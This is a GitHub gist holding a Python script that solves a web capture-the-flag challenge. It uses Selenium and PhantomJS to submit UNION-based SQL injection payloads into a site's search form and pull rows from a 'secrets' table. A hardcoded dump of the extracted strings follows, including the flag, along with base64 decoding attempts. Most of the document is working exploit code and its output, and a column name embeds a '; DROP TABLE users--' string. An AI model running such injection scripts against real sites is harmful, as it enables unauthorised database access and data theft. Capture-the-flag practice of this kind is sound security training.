Created
July 26, 2017 21:15
-
-
Save amalmurali47/fbfa1562e972ff98fde63bcead677de7 to your computer and use it in GitHub Desktop.
Automation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import selenium, re | |
from selenium import webdriver | |
from selenium.webdriver.support.wait import WebDriverWait | |
browser = None | |
should_log = False | |
def log_print(str): | |
if should_log: | |
print str | |
def create(): | |
global browser | |
log_print("create browser") | |
browser = webdriver.PhantomJS('/home/user/tools/PhantomJS/phantomjs-2.1.1-linux-x86_64/bin/phantomjs') | |
def inject(payload): | |
log_print("goto url") | |
browser.get('https://handcrafted.kaizen-ctf.com/') | |
log_print("input payload") | |
browser.find_element_by_id('search').send_keys(payload) | |
log_print("submit") | |
browser.find_element_by_tag_name('form').submit() | |
# log_print("wait") | |
# WebDriverWait(browser, 9999).until(lambda x: x.current_url != LOGIN_URL) | |
log_print("parse result") | |
column1 = browser.find_element_by_xpath('/html/body/div/div/h3').text | |
column2 = browser.find_element_by_xpath('/html/body/div/div/p[last()]').text | |
return column1, column2 | |
if __name__ == '__main__': | |
""" | |
create() | |
results = dict() | |
column_names = ['eat', 'sleep', 'pwn', 'repeat', 'union select', '*', '; DROP TABLE users--', 'hack_the_planet'] | |
for name in column_names: | |
results[name] = []; | |
for i in range(25): | |
for j in range(0, len(column_names), 2): | |
c1, c2 = column_names[j:j+2] | |
r1, r2 = inject("' union select 0, `%s`, `%s` FROM secrets LIMIT 1 OFFSET %d -- " % (c1, c2, i)) | |
results[c1].append(r1) | |
results[c2].append(r2) | |
print '.' | |
print i, repr(results) | |
print "FINAL RESULTS:", repr(results) | |
""" | |
results = {'repeat': [u'aZ6EUJMwfT&dxk%Je=F87R@DZdHajhX', u'!f0Bvob&9x!{1w^U4eO%4Kvf,opUCTD#G', u'##jukIKHkNitYQKdwnR*%2Jpi6r', u'DLZTiBS1B^vIb3',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KChdS@l..', u'n^E%9ClPX{ux_$WJItxd@3p16OP', u'KAIZEN{if_every1_used_prepared_stmts_th1s_chall3nge_w0uldnt_ex1st}', u'idKn#CB8HCA*Lst(c3@xTuE=,OgfFeH3q8Y', u'n83gJ,)*YDmfTo8Xo.e},b=a1+,', u'skchsmQTb!J_g', u'd=qq}EOCNdDQL.', u'=m{in#THv+_', u'mH(oZM31DUtb&F2Y#$0AHu=hg{jzK)u4rgN#6T5zZ.TS', u'SZ)ZeFQCg90n )}$TjNuj9MXCSCvrT4O', u'XwySyG,h aLfy*7A.f', u'5OsBcpP^Vezni', u'1,(eFFa)Va8qw8+X,Mfu=X(73,2daoIv)DHaq3}W(mI27e'], '; DROP TABLE users--': [u'd&n_ZIOopV5pyc}Q5{!', u'Qu&+u*yuZyv{0W', u'biyI5)P.)2@SM', u'8C=Va^V((my) Amkd$VAF6 W5C_7O!g$4HMna9VRAfU)&,', u'x6lGYFeZiMmAz', u'bnLvkazcmxnm6AFb', u'+vjS!9', u'jpx%qO*f(.}fJ}O$C!5ByVUs)', u'QCFNI6{SEQ.DjO6I{iA^ uC7t)=16YwwaO3@00', u'mLn70pBLpPsJB5gi(ue,WeYsLaLQ{EN', u'Y7f.K_iS98w01e#gLR_(8hXZm', u'(7EOH)w', u'9TEC21)=jL+FExX_f_KQ146GwFVph#YE%&)gPwQH*', u'KI', u'PurtV=E+.G5qPaQpSk{r^kC_9WHAKTHq(}dB,Qbi7f*bIS', u'IV$hUlL=eJS+rhi$A{*hY7*kgKBWhKeDZgZ1kQ^Z', u'CjOL1sFc&I(Ma9wbCI6%qPTHcixcfl', u'x}d63^WKZVUnA{', u'oTwSPp)=Z@%@^N%!GSS', u'Ngbu=C3Dx@q7b98},sIACiXqjAAKFV2f3+zRt', u'=VUc% xUV.!hx#Xf8#Cr+pi', u'xYizu', u'QNm!no}2{AD^kZAV,jPL@+*^YF@S&', u'9y%NM=f1ci=UaqzPxAv@lp}bZih4)NC)FtPXh4,}BWo5KuM', u'j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)V1E{m0z)q^ogGe', u'Bog&A1DwkFM)BOBaVtVGj3W& qH(oBE.V$+BS.', u'zBu,mn6B5UDa$x{L!or$4BeM#{At(t&Q,', u'jL ^cvq%T^_$H+*HFdDfV%'], 'eat': [u'#GGeiQ+q.W4jD,(eiHiz(kK49Ez', u'(RovQ7#%#', u'*y!xO)mQkXsj5 V', u'0*8e6GKo4VOTi+39q{JL+mQa=_ 6(rX)R6hj#', u'0.d.Q}0R^U2{7e6a&j)&HPlb3{NX^Pr!EjANlE', u'11J9V5+,PxwMAw354', u'4lyQzq)CE', u'4Y!04.&wXp$si{KU(NiOgY!NBr', u'5n=Ac&S)_ #9FZ(U{g%psA#Hpt Z^Q2E', u'74F+,N=qVTpd6#', u'7F!qN3NSk(r8nfJ^KLkK0', u'9Pe8A4!UbT2(x*#O', u'@q@i=ed0H*#*c9eK_!}5FwDw2*OJpG)Kl,#)', u'BFd9g', u'Bg(P5_c&^ch#fnTK', u'coIkEeKdp^9Ci3XS7_rVZvRhuw{ul}whDJUtm.%48PR0%F8KD', u'G2t47ijU4oSV=0A8N21.', u'GX.9PFtT5q@bJ9ae', u'Mp&pUrHj={nc}BZtZp$Gb.)+ G0W%s', u'Nyx7GXij&BEDHPjItxX@fExifL#$cpH%j!UaUD1t_', u'wL@B5&uav{KRFrpxYEwzDqO', u'xUbs%qyBpwf@p0!WNpI2g8&pxD56O5JK0*KHPBY=p^o,! _XK', u'y#y0NLj7cSdILFdFrimr,s}=H&&m', u'z2K_d', u'^#LEvPHn)m%lIF7@q0SWxA}ICqJQHuR+6oFVjFZ_qw1JdRwZ']} | |
column_names = ['eat', 'sleep', 'pwn', 'repeat', 'union select', '*', '; DROP TABLE users--', 'hack_the_planet'] | |
from base64 import b64decode | |
str1 = str2 = str3 = str4 = str5 = '' | |
str12 = str22 = str32 = str42 = str52 = '' | |
for name in column_names: | |
# print "%s: %s\n\n" % (name, ''.join(results[name])) | |
for x in results[name]: | |
str1 += x | |
str12 = x + str12 | |
try: print b64decode(x) | |
except: print "fail1" | |
x = ''.join(results[name]) | |
str2 += x | |
str22 = x + str22 | |
try: print b64decode(x) | |
except: print "fail2" | |
x = ''.join(results[name][::-1]) | |
str3 += x | |
str32 = x + str32 | |
try: print b64decode(x) | |
except: print "fail3" | |
for i in range(len(results['eat'])): | |
x = ''.join(results[name][i] for name in column_names) | |
str4 += x | |
str42 = x + str42 | |
try: print b64decode(x) | |
except: print "fail4" | |
x = ''.join(results[name][i][::-1] for name in column_names) | |
str5 += x | |
str52 = x + str52 | |
try: print b64decode(x) | |
except: print "fail5" | |
for x in ['str1', 'str2', 'str3', 'str4', 'str5', 'str12', 'str22', 'str32', 'str42', 'str52']: | |
try: | |
y = b64decode(eval(x)) | |
print y | |
open('%s.bin' % x, 'wb').write(y) | |
except: print "fail", x |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment